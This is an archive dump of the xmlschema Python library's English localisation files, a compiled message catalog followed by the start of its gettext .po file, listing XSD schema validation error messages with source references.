with 'base' attribute and simpleType declaration�schema {} does not belong to namespace {!r}�schemaLocation declaration after namespace start�selector xpath expression can only select elements�simpleType restriction of %r is not allowed�source XML document is empty�substitution of %r is blocked�target directory {} is not empty�target directory {} violation for exported path {}, {}�target parent directory {} does not exist�target parent {} is not a directory�target {} is not a directory�test attribute missing in non-final alternative�the QName {!r} is mapped to no namespace, but this requires that there is an xs:import statement in the schema without the 'namespace' attribute.�the QName {!r} is mapped to the namespace {!r}, but this namespace has not an xs:import statement in the schema.�the argument {!r} must be greater or equal than {}�the argument {!r} must be lesser or equal than {}�the attribute 'mode' of a defaultOpenContent cannot be 'none'�the attribute 'namespace' must be different from schema's 'targetNamespace'�the attribute 'ref' is required in a local attributeGroup�the attribute 'targetNamespace' cannot be an empty string�the attribute 'type' and a xs:{} local declaration are mutually exclusive�the attribute 'type' and the xs:%s local declaration are mutually exclusive�the attribute 'use' must be 'optional' if the attribute 'default' is present�the base type is not derivable by extension�the base type is not derivable by restriction�the derived group is an illegal restriction�the explicitTimezone facet value cannot be changed if the base type has the same facet with value %r�the namespace of each QName in notQName is allowed by notNamespace�the namespace {!r} is not loaded�the number of digits has to be lesser or equal than {!r}�the number of fraction digits has to be lesser or equal than {!r}�the path %r doesn't match any element of the schema!�the redefined group is an illegal restriction�the simple content of {!r} is not a valid simple type in XSD 1.1�time zone prohibited for value {!r}�time zone required for value {!r}�too many XSD components, unexpected {0!r} found at position {1}�totalDigits facet value cannot be greater than the value of the same facet in the base type�type {0!r} is not derived from {1!r}�unable to select an element for encoding data, provide a valid 'path' argument.�unavailable namespace {!r}�unexpected instance {!r} in XSD {} global map�unexpected tag %r�unexpected tag %r after complexContent declaration�unexpected tag %r after simpleContent declaration:�unexpected tag %r for complexType content�unexpected tag %r in restriction�unexpected tag after attribute declarations�unknown attribute group {!r}�unknown attribute {!r}�unknown element %r�unknown identity constraint {!r}�unknown substitutionGroup %r�unknown type {!r}�unmapped QName in 'notQName' attribute: %s�unmapped prefix %r in a QName�usage of %r is blocked�usage of {0!r} with type {1} is blocked by head element�use of attribute %r is prohibited�validation mode can be 'strict', 'lax' or 'skip': %r�validation mode is 'strict' and %r is not built�validation mode is 'strict' and %r is not valid�value contains non collapsed white spaces�value contains tabs or newlines�value doesn't match any pattern of {!r}�value has to be greater or equal than {!r}�value has to be greater than {!r}�value has to be less than or equal than {!r}�value has to be lesser than {!r}�value is not a valid xs:decimal�value is not an instance of {!r}�value is not an xs:QName�value is not true with test path {!r}�value length cannot be greater than {!r}�value length cannot be lesser than {!r}�value must be negative�value must be non negative�value must be non positive�value must be one of {!r}�value must be positive�value must be {:s}�value of 'mixed' attribute in complexType and complexContent must be the same�value {!r} must match a notation declaration�when a complexType with simpleContent restricts a complexType with mixed and with emptiable content then a simpleType child declaration is required�when extend an xs:all group minOccurs must be the same�with simpleContent cannot restrict an element-only content type�wrong QName format in 'notQName' attribute: %s�wrong base type %r, an atomic type required�wrong base type %r: a simpleType or a complexType with simple or mixed content required�wrong content type {!r}�wrong definition with self-reference�wrong redefinition without self-reference�wrong tag {!r} for an XSD global definition/declaration�wrong type {!r} for locations argument�wrong value %r for 'mode' attribute�wrong value %r for 'processContents' attribute�wrong value %r for attribute %r�wrong value %r for facet xs:whiteSpace�wrong value %r in 'namespace' attribute�wrong value %r in 'notNamespace' attribute�wrong value for 'notQName' attribute�wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | {1}).�xs:ID key attributes cannot have a default value�xs:ID key attributes cannot have a fixed value�xs:ID or a type derived from xs:ID cannot have a default value�xs:ID or a type derived from xs:ID cannot have a fixed value�xs:all cannot extend a not empty xs:%s�xs:sequence cannot extend xs:all�xsi:nil attribute must have a boolean value�xsi:nil='true' but the element has a fixed value�xsi:nil='true' but the element is not empty�{!r} does not match any declared element of the model group�{!r} is expected to have a redefined/overridden component�{!r} is not a boolean value�{!r} is not a particle of the model group�{!r} is not a valid loglevel�{!r} is not a valid value for xs:QName�{!r} is not an element of the schema�{0!r} and {1!r} overlap and are in the same {2!r} group�{0!r} cannot substitute {1!r}�{0!r} derivation not allowed for {1!r}�{0!r} facet value is fixed to {1!r}�{0!r} is not a restriction of the base type {1!r}�{0!r} is not an extension of the base type {1!r}�{0!r} is not an instance of {1!r}�{0!r} that matches {1!r} is not consistent with local declaration {2!r}�{0!r} type is not of the same or a derivation of the head element {1!r} type�{0} has an unknown prefix {1!r}�Project-Id-Version: xmlschema Report-Msgid-Bugs-To: PO-Revision-Date: 2022-05-12 17:30+0200 Last-Translator: Davide Brunato <brunato@sissa.it> Language-Team: English Language: en MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); � Tag %r expected.� Tag %s expected.� Tag (%s) expected.�%r attribute not allowed for element�%r field doesn't have a simple type!�%r field selects a %r!�%r field selects multiple values!�%r is abstract�%r is not an attribute of the XSI namespace�%r is not built�%r: a list must be based on atomic data types�'all' model can appears only at 1st level of a model group�'all' model can contain only elements�'base' attribute required�'converter' argument must be a {0!r} subclass or instance: {1!r}�'default' and 'fixed' attributes are mutually exclusive�'default' value {!r} is not compatible with element's type�'final' value of the baseType %r forbids derivation by restriction�'final' value of the itemType %r forbids derivation by list�'final' value of the memberTypes %r forbids derivation by union�'fixed' value {!r} is not compatible with element's type�'global_maps' argument must be an %r instance�'length' value must be non a negative integer�'maxLength' has a greater value than parent�'maxLength' has a lesser value than parent 'minLength'�'maxLength' value is less than 'minLength'�'maxLength' value must be a non negative integer�'maxLength' value must be greater or equal to 'length'�'minExclusive' must be less or equal to 'maxExclusive'�'minExclusive' must be lesser than 'maxInclusive'�'minInclusive' must be less or equal to 'maxInclusive'�'minInclusive' must be lesser than 'maxExclusive'�'minLength' has a greater value than parent 'maxLength'�'minLength' has a lesser value than parent�'minLength' value must be a non negative integer�'minLength' value must be less than or equal to 'length'�'mixed' attribute not allowed with simpleContent�'model' argument must be (sequence | choice | all)�'name' attribute in a local simpleType definition�'namespace' and 'notNamespace' attributes are mutually exclusive�'xpath' attribute required�(attribute | attributeGroup) expected, found {!r}.�(restriction | list | union) expected�Attribute type is not a restriction of the base attribute type�Attribute wildcard is not a restriction of the base wildcard�Attribute {!r}: 'inheritable' property change in restriction�Attribute {!r}: derived attribute has a different fixed value�Attribute {!r}: redefinition remove fixed constraint�Attribute {!r}: unmatched attribute use in redefinition�Attribute {!r}: unmatched attribute use in restriction�Can't delete attribute {}�Can't set attribute {}�Circular attribute groups not allowed in XSD 1.0�Circular definition detected for group %r�Element Declarations Consistent violation between {0!r} and {1!r}: match the same name but with different types�IDREF %r not found in XML document�Import of namespace {!r} from {!r} failed: {}.�Include schema failed: {}�Maybe a not equivalent type table between elements {0!r} and {1!r}�Maybe a not equivalent type table between elements {0!r} and {1!r}.�Missing required attribute {!r} in redefinition restriction�Override schema failed: {}�Redefine schema failed: {}�Redefined group reference cannot have minOccurs/maxOccurs other than 1�Redefinition restriction contains additional attribute {!r}�The content of element %r is not complete.�Unexpected attribute {!r} in restriction�Unexpected child with tag %r at position %d.�Unique Particle Attribution violation between {0!r} and {1!r}�Wrong attribute order in redefinition restriction�XML data depth exceeded (MAX_XML_DEPTH=%r)�XSD 1.0 does not allow extension of a not empty 'all' model group�XSD attribute's type must be a simpleType�XSD_VERSION must be '1.0' or '1.1'�a complexType ancestor required: {!r}�a declaration contained in a global complexType must have the same namespace as its parent schema�a defaultOpenContent declaration cannot be empty�a global %s must have the same namespace as its parent schema�a not empty simpleContent cannot restrict an empty content type�a notation declaration must be global�a notation must have a 'name' attribute�a notation must have a 'public' or a 'system' attribute�a reference component cannot have child definitions/declarations�a simple content element can't have child elements�a {0!r} required, not {1!r}�ambiguous list type declaration�ambiguous type definition for XSD attribute�an <xs:any> child declaration is required�an attribute name must be different from 'xmlns'�an empty 'choice' group with minOccurs > 0 cannot validate any content�an empty content derivation from base type that has not empty content�an openContent with mode='none' cannot have an <xs:any> child declaration�an xs:simpleType definition expected�an xs:{0} group cannot include a reference to an xs:{1} group�another declaration after anyAttribute�attribute %r must be inheritable�attribute %r not allowed�attribute %r not found�attribute 'fixed' with use=prohibited is not allowed in XSD 1.1�attribute 'form' must be absent when 'targetNamespace' attribute is provided�attribute 'maxOccurs' not allowed in a global group�attribute 'minOccurs' not allowed in a global group�attribute 'name' must be present when 'targetNamespace' attribute is provided�attribute 'name' not allowed for a local simpleType�attribute 'name' not allowed in a local complexType�attribute 'name' not allowed in a local group�attribute 'ref' not allowed in a global %r�attribute 'ref' points to a different kind constraint�attribute {!r} is not allowed in a global element declaration�attribute {!r} is not allowed when attribute reference is used�attribute {!r} is not allowed when element reference is used�attribute {!r} not allowed in a local element declaration�attribute {0!r} has a fixed value {1!r}�attribute {0}={1!r}: {2}�attributeGroup ref={!r} is not in the redefined group�attributes 'name' and 'ref' are mutually exclusive�base %r is simple or has a simple content�base facet has a different length ({})�base facet has a greater min length ({})�base has a different content type (mixed=%r) and the extension group is not empty�base has a different content type (mixed=%r) and the extension group is not empty.�base type %r has no simple content�base type has a lesser max length ({})�base_type={!r} is not a complexType definition�boolean value {0!r} requires a {1!r} decoder�can't change attribute {!r} of a global maps instance�can't change the global maps instance of a class meta-schema�can't change the {!r} attribute of a schema�can't include schema {!r}: {}�can't override schema {!r}: {}�can't redefine schema {!r}: {}�can't set the meta_schema instance of a schema�can't use an abstract XSD element for validation�can't use an abstract XSD element for validation unless it's the head of a substitution group�can't use an abstract element for validation�can't verify the content model of {!r} due to exceeding of maximum recursion depth�can't {} the same schema {!r}�cannot add attributes in %r namespace�cannot decode %(obj)r data with %(decoder)r�cannot extend a complex content with xs:all�cannot extend a not empty 'all' model group with a different model�cannot extend an empty mixed content with an xs:all�cannot extend an xs:all group with mixed empty content�cannot specify both 'length' and 'maxLength'�cannot specify both 'length' and 'minLength'�cannot specify both 'maxInclusive' and 'maxExclusive'�cannot specify both 'minInclusive' and 'minExclusive'�cannot use xs:anyAtomicType as base type of a user-defined type�cannot validate against xs:NOTATION directly, only against a subtype with an enumeration facet�character data between child elements not allowed�character data is not allowed because content is empty�circular redefinition for {} {!r}�circularity found for substitution group with head element {}�circularity found for substitutionGroup %r�content type is not a restriction of base content�declared type is not derived from {!r}�default attribute {!r} is already declared in the complex type�default value {!r} is not compatible with attribute's type�defaultAttributes={0!r} doesn't match any attribute group of {1!r}�defaultOpenContent must be a child of the schema�derivation by %r blocked by attribute 'final' in base type�derived a mixed content from a base type that has element-only content�duplicate of schema {} found in namespace {!r}�duplicated attributeGroup {!r}�duplicated identity constraint %r:�duplicated simpleType declaration�duplicated value {0!r} for {1!r}�duplicated xs:ID value {!r}�element is not nillable�element {!r} is not allowed here�encoding needs at least one XSD element declaration�extended type has a mixed content but the base is element-only�facet group must have the same base type: %r�facet value can be only 'collapse'�facet value can be only 'replace' or 'collapse'�facets not allowed for a direct content derivation of xs:anySimpleType�facets not allowed for a direct derivation of xs:anySimpleType�field cardinality mismatch between {0!r} and {1!r}�fixed value {!r} is not compatible with attribute's type�fractionDigits facet can be applied only to types derived from xs:decimal�fractionDigits facet value cannot be lesser than the value of totalDigits facet�fractionDigits facet value must be 0 for types derived from xs:integer�global group not built!�global type {!r} is not built�global xs:{} with name={!r} is already built�global xs:{} with name={!r} is already defined�global xs:{} with name={!r} is already loaded�global {} {!r} not found�head element %r can't be substituted by an element that has a derivation of its type�head element %r can't be substituted by an element that has a restriction of its type�head element %r can't be substituted by an element that has an extension of its type�if the 'namespace' attribute is not present on the import statement then the imported schema must have a 'targetNamespace'�import of chameleon schema failed: {}�import of namespace {!r} failed: {}�imported schema {!r} has an unmatched namespace {!r}�in XSD 1.0 an 'all' model group cannot be nested�in a redefinition the reference to itself must be the first�invalid XPath expression for an {}�invalid attribute vc:maxVersion value�invalid attribute vc:minVersion value�invalid restriction from {!r}�invalid restriction: base value is lower ({})�invalid restriction: {}�invalid restriction: {} is also the maximum�invalid restriction: {} is also the minimum�invalid type {!r} for argument {!r}�invalid type {!r} provided: {}�invalid value {!r}�invalid value {!r} for argument {!r}�invalid value {!r} for argument {!r}: must be one of {}�key/unique identity constraint %r is missing�length has to be {!r}�local scope elements cannot have abstract attribute�maxOccurs must be 'unbounded' or greater than minOccurs�maxOccurs must be (0 | 1) for 'all' model groups�maxOccurs must be 1 for 'all' model groups�maxOccurs value must be a non negative integer or 'unbounded'�meta-schema unavailable for %r�minOccurs must be (0 | 1) for 'all' model groups�minOccurs must be lesser or equal than maxOccurs�minOccurs value is not an integer value�minOccurs value must be a non negative integer�missing 'selector' declaration�missing 'type' attribute�missing attribute 'name' in a global %r�missing attribute 'name' in a global complexType�missing attribute 'name' in a global simpleType�missing attribute 'ref' in local group�missing attribute 'test'�missing base type %r�missing base type in restriction�missing both attributes 'name' and 'ref' in local %r�missing enumeration facet in xs:NOTATION subtype�missing group %r�missing key field {0!r} for {1!r}�missing list type declaration�missing required attribute 'name'�missing required attribute 'refer'�missing required attribute {!r}�missing xs:union type declarations�more anyAttribute declarations in the same attribute group�multiple %r constraint facet�multiple ID attributes not allowed for XSD 1.0�multiple declaration for attribute {!r}�multiple declaration of attribute {!r}�multiple redefinition for {} {!r}�must have the fixed value %r�names in notQName must be in namespaces that are allowed�no XSD source provided!�no more than one attribute of type ID should be present in an element�no type suitable for encoding the object�no value is allowed for xs:error type�not a base64 encoding�not a redefinition!�not an hexadecimal number�not expressible wildcard namespace union: {0!r} V {1!r}:�one or more facets are not applicable, admitted set is {!r}�openContent mismatch between type and model group�parent circularity from {}�prefix {!r} not found in namespace map�redefined schema {!r} has a different targetNamespace�reference to a non key/unique identity constraint %r�referenced attribute has a different fixed value {!r}�registered schemas do not match namespace mapped schemas�restriction has an open content but base type has not�restriction of an xs:{0} with more than one particle with xs:{1} is forbidden�restriction or extension tag expected�restriction with 'base' attribute and simpleType declaration�schema {} does not belong to namespace {!r}�schemaLocation declaration after namespace start�selector xpath expression can only select elements�simpleType restriction of %r is not allowed�source XML document is empty�substitution of %r is blocked�target directory {} is not empty�target directory {} violation for exported path {}, {}�target parent directory {} does not exist�target parent {} is not a directory�target {} is not a directory�test attribute missing in non-final alternative�the QName {!r} is mapped to no namespace, but this requires that there is an xs:import statement in the schema without the 'namespace' attribute.�the QName {!r} is mapped to the namespace {!r}, but this namespace has not an xs:import statement in the schema.�the argument {!r} must be greater or equal than {}�the argument {!r} must be lesser or equal than {}�the attribute 'mode' of a defaultOpenContent cannot be 'none'�the attribute 'namespace' must be different from schema's 'targetNamespace'�the attribute 'ref' is required in a local attributeGroup�the attribute 'targetNamespace' cannot be an empty string�the attribute 'type' and a xs:{} local declaration are mutually exclusive�the attribute 'type' and the xs:%s local declaration are mutually exclusive�the attribute 'use' must be 'optional' if the attribute 'default' is present�the base type is not derivable by extension�the base type is not derivable by restriction�the derived group is an illegal restriction�the explicitTimezone facet value cannot be changed if the base type has the same facet with value %r�the namespace of each QName in notQName is allowed by notNamespace�the namespace {!r} is not loaded�the number of digits has to be lesser or equal than {!r}�the number of fraction digits has to be lesser or equal than {!r}�the path %r doesn't match any element of the schema!�the redefined group is an illegal restriction�the simple content of {!r} is not a valid simple type in XSD 1.1�time zone prohibited for value {!r}�time zone required for value {!r}�too many XSD components, unexpected {0!r} found at position {1}�totalDigits facet value cannot be greater than the value of the same facet in the base type�type {0!r} is not derived from {1!r}�unable to select an element for encoding data, provide a valid 'path' argument.�unavailable namespace {!r}�unexpected instance {!r} in XSD {} global map�unexpected tag %r�unexpected tag %r after complexContent declaration�unexpected tag %r after simpleContent declaration:�unexpected tag %r for complexType content�unexpected tag %r in restriction�unexpected tag after attribute declarations�unknown attribute group {!r}�unknown attribute {!r}�unknown element %r�unknown identity constraint {!r}�unknown substitutionGroup %r�unknown type {!r}�unmapped QName in 'notQName' attribute: %s�unmapped prefix %r in a QName�usage of %r is blocked�usage of {0!r} with type {1} is blocked by head element�use of attribute %r is prohibited�validation mode can be 'strict', 'lax' or 'skip': %r�validation mode is 'strict' and %r is not built�validation mode is 'strict' and %r is not valid�value contains non collapsed white spaces�value contains tabs or newlines�value doesn't match any pattern of {!r}�value has to be greater or equal than {!r}�value has to be greater than {!r}�value has to be less than or equal than {!r}�value has to be lesser than {!r}�value is not a valid xs:decimal�value is not an instance of {!r}�value is not an xs:QName�value is not true with test path {!r}�value length cannot be greater than {!r}�value length cannot be lesser than {!r}�value must be negative�value must be non negative�value must be non positive�value must be one of {!r}�value must be positive�value must be {:s}�value of 'mixed' attribute in complexType and complexContent must be the same�value {!r} must match a notation declaration�when a complexType with simpleContent restricts a complexType with mixed and with emptiable content then a simpleType child declaration is required�when extend an xs:all group minOccurs must be the same�with simpleContent cannot restrict an element-only content type�wrong QName format in 'notQName' attribute: %s�wrong base type %r, an atomic type required�wrong base type %r: a simpleType or a complexType with simple or mixed content required�wrong content type {!r}�wrong definition with self-reference�wrong redefinition without self-reference�wrong tag {!r} for an XSD global definition/declaration�wrong type {!r} for locations argument�wrong value %r for 'mode' attribute�wrong value %r for 'processContents' attribute�wrong value %r for attribute %r�wrong value %r for facet xs:whiteSpace�wrong value %r in 'namespace' attribute�wrong value %r in 'notNamespace' attribute�wrong value for 'notQName' attribute�wrong value {0!r} for 'xpathDefaultNamespace' attribute, can be (anyURI | {1}).�xs:ID key attributes cannot have a default value�xs:ID key attributes cannot have a fixed value�xs:ID or a type derived from xs:ID cannot have a default value�xs:ID or a type derived from xs:ID cannot have a fixed value�xs:all cannot extend a not empty xs:%s�xs:sequence cannot extend xs:all�xsi:nil attribute must have a boolean value�xsi:nil='true' but the element has a fixed value�xsi:nil='true' but the element is not empty�{!r} does not match any declared element of the model group�{!r} is expected to have a redefined/overridden component�{!r} is not a boolean value�{!r} is not a particle of the model group�{!r} is not a valid loglevel�{!r} is not a valid value for xs:QName�{!r} is not an element of the schema�{0!r} and {1!r} overlap and are in the same {2!r} group�{0!r} cannot substitute {1!r}�{0!r} derivation not allowed for {1!r}�{0!r} facet value is fixed to {1!r}�{0!r} is not a restriction of the base type {1!r}�{0!r} is not an extension of the base type {1!r}�{0!r} is not an instance of {1!r}�{0!r} that matches {1!r} is not consistent with local declaration {2!r}�{0!r} type is not of the same or a derivation of the head element {1!r} type�{0} has an unknown prefix {1!r}��������������������xmlschema-4.1.0/xmlschema/locale/en/LC_MESSAGES/xmlschema.po����������������������������������������0000664�0000000�0000000�00000210305�15020401055�0023416�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# English translations for xmlschema package. # Copyright (C) 2022 , 2016, SISSA (International School for Advanced Studies). # This file is distributed under the same license as the xmlschema package. # Davide Brunato <brunato@sissa.it>, 2022. # msgid "" msgstr "" "Project-Id-Version: xmlschema\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2025-03-20 06:55+0100\n" "PO-Revision-Date: 2022-05-12 17:30+0200\n" "Last-Translator: Davide Brunato <brunato@sissa.it>\n" "Language-Team: English\n" "Language: en\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #: xmlschema/documents.py:51 #, fuzzy msgid "invalid schema class {!r}" msgstr "invalid value {!r}" #: xmlschema/documents.py:89 #, fuzzy msgid "cannot get a schema for XML data, provide a schema argument" msgstr "" "unable to select an element for decoding data, provide a valid 'path' " "argument." #: xmlschema/exports.py:148 msgid "target directory {} is not empty" msgstr "target directory {} is not empty" #: xmlschema/exports.py:151 msgid "target {} is not a directory" msgstr "target {} is not a directory" #: xmlschema/exports.py:154 msgid "target parent directory {} does not exist" msgstr "target parent directory {} does not exist" #: xmlschema/exports.py:157 msgid "target parent {} is not a directory" msgstr "target parent {} is not a directory" #: xmlschema/exports.py:171 msgid "target directory {} violation for exported path {}, {}" msgstr "target directory {} violation for exported path {}, {}" #: xmlschema/loaders.py:117 msgid "" "if the 'namespace' attribute is not present on the import statement then the " "imported schema must have a 'targetNamespace'" msgstr "" "if the 'namespace' attribute is not present on the import statement then the " "imported schema must have a 'targetNamespace'" #: xmlschema/loaders.py:121 msgid "" "the attribute 'namespace' must be different from schema's 'targetNamespace'" msgstr "" "the attribute 'namespace' must be different from schema's 'targetNamespace'" #: xmlschema/loaders.py:155 msgid "Include schema failed: {}" msgstr "Include schema failed: {}" #: xmlschema/loaders.py:164 msgid "Redefine schema failed: {}" msgstr "Redefine schema failed: {}" #: xmlschema/loaders.py:166 msgid "Override schema failed: {}" msgstr "Override schema failed: {}" #: xmlschema/loaders.py:173 msgid "can't include schema {!r}: {}" msgstr "can't include schema {!r}: {}" #: xmlschema/loaders.py:175 msgid "can't redefine schema {!r}: {}" msgstr "can't redefine schema {!r}: {}" #: xmlschema/loaders.py:177 msgid "can't override schema {!r}: {}" msgstr "can't override schema {!r}: {}" #: xmlschema/loaders.py:185 msgid "can't {} the same schema {!r}" msgstr "can't {} the same schema {!r}" #: xmlschema/loaders.py:214 msgid "import of namespace {!r} failed: {}" msgstr "import of namespace {!r} failed: {}" #: xmlschema/loaders.py:216 msgid "import of chameleon schema failed: {}" msgstr "import of chameleon schema failed: {}" #: xmlschema/loaders.py:230 msgid "Import of namespace {!r} from {!r} failed: {}." msgstr "Import of namespace {!r} from {!r} failed: {}." #: xmlschema/loaders.py:253 msgid "imported schema {!r} has an unmatched namespace {!r}" msgstr "imported schema {!r} has an unmatched namespace {!r}" #: xmlschema/locations.py:34 msgid "wrong type {!r} for locations argument" msgstr "wrong type {!r} for locations argument" #: xmlschema/resources/arguments.py:46 msgid "source XML document is empty" msgstr "source XML document is empty" #: xmlschema/resources/arguments.py:78 msgid "invalid value {!r} for argument {!r}" msgstr "invalid value {!r} for argument {!r}" #: xmlschema/utils/descriptors.py:112 xmlschema/validators/builders.py:187 msgid "Can't set attribute {}" msgstr "Can't set attribute {}" #: xmlschema/utils/descriptors.py:116 xmlschema/validators/builders.py:190 msgid "Can't delete attribute {}" msgstr "Can't delete attribute {}" #: xmlschema/utils/descriptors.py:124 msgid "invalid type {!r} for argument {!r}" msgstr "invalid type {!r} for argument {!r}" #: xmlschema/utils/descriptors.py:138 msgid "invalid value {!r} for argument {!r}: must be one of {}" msgstr "invalid value {!r} for argument {!r}: must be one of {}" #: xmlschema/utils/descriptors.py:156 msgid "the argument {!r} must be greater or equal than {}" msgstr "the argument {!r} must be greater or equal than {}" #: xmlschema/utils/descriptors.py:159 msgid "the argument {!r} must be lesser or equal than {}" msgstr "the argument {!r} must be lesser or equal than {}" #: xmlschema/utils/logger.py:30 msgid "{!r} is not a valid loglevel" msgstr "{!r} is not a valid loglevel" #: xmlschema/validators/assertions.py:76 msgid "base_type={!r} is not a complexType definition" msgstr "base_type={!r} is not a complexType definition" #: xmlschema/validators/attributes.py:89 msgid "unknown attribute {!r}" msgstr "unknown attribute {!r}" #: xmlschema/validators/attributes.py:105 msgid "referenced attribute has a different fixed value {!r}" msgstr "referenced attribute has a different fixed value {!r}" #: xmlschema/validators/attributes.py:110 msgid "attribute {!r} is not allowed when attribute reference is used" msgstr "attribute {!r} is not allowed when attribute reference is used" #: xmlschema/validators/attributes.py:126 msgid "an attribute name must be different from 'xmlns'" msgstr "an attribute name must be different from 'xmlns'" #: xmlschema/validators/attributes.py:133 #, python-format msgid "cannot add attributes in %r namespace" msgstr "cannot add attributes in %r namespace" #: xmlschema/validators/attributes.py:154 msgid "ambiguous type definition for XSD attribute" msgstr "ambiguous type definition for XSD attribute" #: xmlschema/validators/attributes.py:166 msgid "XSD attribute's type must be a simpleType" msgstr "XSD attribute's type must be a simpleType" #: xmlschema/validators/attributes.py:173 xmlschema/validators/elements.py:291 msgid "'default' and 'fixed' attributes are mutually exclusive" msgstr "'default' and 'fixed' attributes are mutually exclusive" #: xmlschema/validators/attributes.py:177 msgid "" "the attribute 'use' must be 'optional' if the attribute 'default' is present" msgstr "" "the attribute 'use' must be 'optional' if the attribute 'default' is present" #: xmlschema/validators/attributes.py:182 msgid "default value {!r} is not compatible with attribute's type" msgstr "default value {!r} is not compatible with attribute's type" #: xmlschema/validators/attributes.py:185 msgid "xs:ID key attributes cannot have a default value" msgstr "xs:ID key attributes cannot have a default value" #: xmlschema/validators/attributes.py:191 msgid "fixed value {!r} is not compatible with attribute's type" msgstr "fixed value {!r} is not compatible with attribute's type" #: xmlschema/validators/attributes.py:194 msgid "xs:ID key attributes cannot have a fixed value" msgstr "xs:ID key attributes cannot have a fixed value" #: xmlschema/validators/attributes.py:238 xmlschema/validators/elements.py:766 msgid "" "cannot validate against xs:NOTATION directly, only against a subtype with an " "enumeration facet" msgstr "" "cannot validate against xs:NOTATION directly, only against a subtype with an " "enumeration facet" #: xmlschema/validators/attributes.py:242 xmlschema/validators/elements.py:770 msgid "missing enumeration facet in xs:NOTATION subtype" msgstr "missing enumeration facet in xs:NOTATION subtype" #: xmlschema/validators/attributes.py:251 msgid "attribute {0!r} has a fixed value {1!r}" msgstr "attribute {0!r} has a fixed value {1!r}" #: xmlschema/validators/attributes.py:305 msgid "attribute 'fixed' with use=prohibited is not allowed in XSD 1.1" msgstr "attribute 'fixed' with use=prohibited is not allowed in XSD 1.1" #: xmlschema/validators/attributes.py:397 msgid "more anyAttribute declarations in the same attribute group" msgstr "more anyAttribute declarations in the same attribute group" #: xmlschema/validators/attributes.py:400 msgid "another declaration after anyAttribute" msgstr "another declaration after anyAttribute" #: xmlschema/validators/attributes.py:416 msgid "multiple declaration for attribute {!r}" msgstr "multiple declaration for attribute {!r}" #: xmlschema/validators/attributes.py:425 msgid "the attribute 'ref' is required in a local attributeGroup" msgstr "the attribute 'ref' is required in a local attributeGroup" #: xmlschema/validators/attributes.py:435 msgid "duplicated attributeGroup {!r}" msgstr "duplicated attributeGroup {!r}" #: xmlschema/validators/attributes.py:441 msgid "in a redefinition the reference to itself must be the first" msgstr "in a redefinition the reference to itself must be the first" #: xmlschema/validators/attributes.py:452 msgid "attributeGroup ref={!r} is not in the redefined group" msgstr "attributeGroup ref={!r} is not in the redefined group" #: xmlschema/validators/attributes.py:456 msgid "Circular attribute groups not allowed in XSD 1.0" msgstr "Circular attribute groups not allowed in XSD 1.0" #: xmlschema/validators/attributes.py:464 msgid "unknown attribute group {!r}" msgstr "unknown attribute group {!r}" #: xmlschema/validators/attributes.py:475 msgid "multiple declaration of attribute {!r}" msgstr "multiple declaration of attribute {!r}" #: xmlschema/validators/attributes.py:485 msgid "(attribute | attributeGroup) expected, found {!r}." msgstr "(attribute | attributeGroup) expected, found {!r}." #: xmlschema/validators/attributes.py:496 msgid "Unexpected attribute {!r} in restriction" msgstr "Unexpected attribute {!r} in restriction" #: xmlschema/validators/attributes.py:512 msgid "Attribute wildcard is not a restriction of the base wildcard" msgstr "Attribute wildcard is not a restriction of the base wildcard" #: xmlschema/validators/attributes.py:522 msgid "Attribute type is not a restriction of the base attribute type" msgstr "Attribute type is not a restriction of the base attribute type" #: xmlschema/validators/attributes.py:527 msgid "Attribute {!r}: unmatched attribute use in restriction" msgstr "Attribute {!r}: unmatched attribute use in restriction" #: xmlschema/validators/attributes.py:533 msgid "Attribute {!r}: derived attribute has a different fixed value" msgstr "Attribute {!r}: derived attribute has a different fixed value" #: xmlschema/validators/attributes.py:537 msgid "Attribute {!r}: 'inheritable' property change in restriction" msgstr "Attribute {!r}: 'inheritable' property change in restriction" #: xmlschema/validators/attributes.py:551 msgid "Missing required attribute {!r} in redefinition restriction" msgstr "Missing required attribute {!r} in redefinition restriction" #: xmlschema/validators/attributes.py:556 msgid "Attribute {!r}: unmatched attribute use in redefinition" msgstr "Attribute {!r}: unmatched attribute use in redefinition" #: xmlschema/validators/attributes.py:559 msgid "Attribute {!r}: redefinition remove fixed constraint" msgstr "Attribute {!r}: redefinition remove fixed constraint" #: xmlschema/validators/attributes.py:568 msgid "Redefinition restriction contains additional attribute {!r}" msgstr "Redefinition restriction contains additional attribute {!r}" #: xmlschema/validators/attributes.py:572 msgid "Wrong attribute order in redefinition restriction" msgstr "Wrong attribute order in redefinition restriction" #: xmlschema/validators/attributes.py:591 msgid "multiple ID attributes not allowed for XSD 1.0" msgstr "multiple ID attributes not allowed for XSD 1.0" #: xmlschema/validators/attributes.py:646 #: xmlschema/validators/attributes.py:722 msgid "missing required attribute {!r}" msgstr "missing required attribute {!r}" #: xmlschema/validators/attributes.py:677 #: xmlschema/validators/attributes.py:740 #, python-format msgid "%r is not an attribute of the XSI namespace" msgstr "%r is not an attribute of the XSI namespace" #: xmlschema/validators/attributes.py:685 #: xmlschema/validators/attributes.py:748 #, python-format msgid "%r attribute not allowed for element" msgstr "%r attribute not allowed for element" #: xmlschema/validators/attributes.py:691 #, python-format msgid "use of attribute %r is prohibited" msgstr "use of attribute %r is prohibited" #: xmlschema/validators/builders.py:232 msgid "'model' argument must be (sequence | choice | all)" msgstr "'model' argument must be (sequence | choice | all)" #: xmlschema/validators/builders.py:317 xmlschema/validators/builders.py:325 msgid "(restriction | list | union) expected" msgstr "(restriction | list | union) expected" #: xmlschema/validators/builders.py:336 msgid "missing attribute 'name' in a global simpleType" msgstr "missing attribute 'name' in a global simpleType" #: xmlschema/validators/builders.py:341 msgid "attribute 'name' not allowed for a local simpleType" msgstr "attribute 'name' not allowed for a local simpleType" #: xmlschema/validators/builders.py:463 msgid "global {} {!r} not found" msgstr "global {} {!r} not found" #: xmlschema/validators/builders.py:517 msgid "global xs:{} with name={!r} is already built" msgstr "global xs:{} with name={!r} is already built" #: xmlschema/validators/builders.py:519 msgid "global xs:{} with name={!r} is already defined" msgstr "global xs:{} with name={!r} is already defined" #: xmlschema/validators/builders.py:546 msgid "global xs:{} with 